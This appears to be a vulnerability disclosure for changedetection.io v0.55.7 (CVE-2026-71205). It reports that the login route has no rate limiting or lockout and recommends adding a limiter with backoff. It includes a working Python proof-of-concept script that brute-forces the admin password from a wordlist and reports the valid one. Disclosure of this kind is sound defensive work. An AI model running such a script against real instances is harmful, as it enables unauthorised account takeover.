
PoC: changedetection.io unlimited login brute-force, no rate limiting (CVE-2026-71205, Medium 6.5)
Product: dgtlmoon/changedetection.io — v0.55.7
File: changedetectionio/flask_app.py
CWE: CWE-307 — Improper Restriction of Excessive Authentication Attempts
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — 6.5 (Medium)
CNA: Turan Security · CVE record
changedetection.io's /login route checks the submitted password against a single
PBKDF2-HMAC-SHA256 hash with no per-IP or per-session rate limiting, failed-attempt counter,
or lockout. No rate-limiting library is present in requirements.txt.
An attacker can attempt unlimited password guesses against the single-admin login with no throttling, enabling online brute-force or credential-stuffing attacks against the instance's one account with no cost beyond network round-trips.
import requests
import itertools
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
wordlist = sys.argv[2] if len(sys.argv) > 2 else "passwords.txt"
session = requests.Session()
with open(wordlist) as f:
for line_no, password in enumerate(f, 1):
password = password.strip()
resp = session.post(
f"{target}/login",
data={"password": password},
allow_redirects=False,
timeout=10,
)
# No lockout, no rate-limit headers, no CAPTCHA at any attempt count.
status = "SUCCESS" if resp.status_code in (302, 303) else "fail"
print(f"[{line_no}] {password!r}: {status} (HTTP {resp.status_code})")
if status == "SUCCESS":
print(f"[+] Valid password found: {password}")
break
Run against an instance with any password wordlist — no attempt count triggers a lockout, CAPTCHA, or increasing delay at any point in the run.
The login handler performs a direct hash comparison with no attempt-tracking state (per-IP, per-session, or global) and no rate-limiting middleware/library is installed.
Add a rate-limiting library (e.g. Flask-Limiter) to /login, with a failed-attempt counter
and exponential backoff or temporary lockout per source IP/session.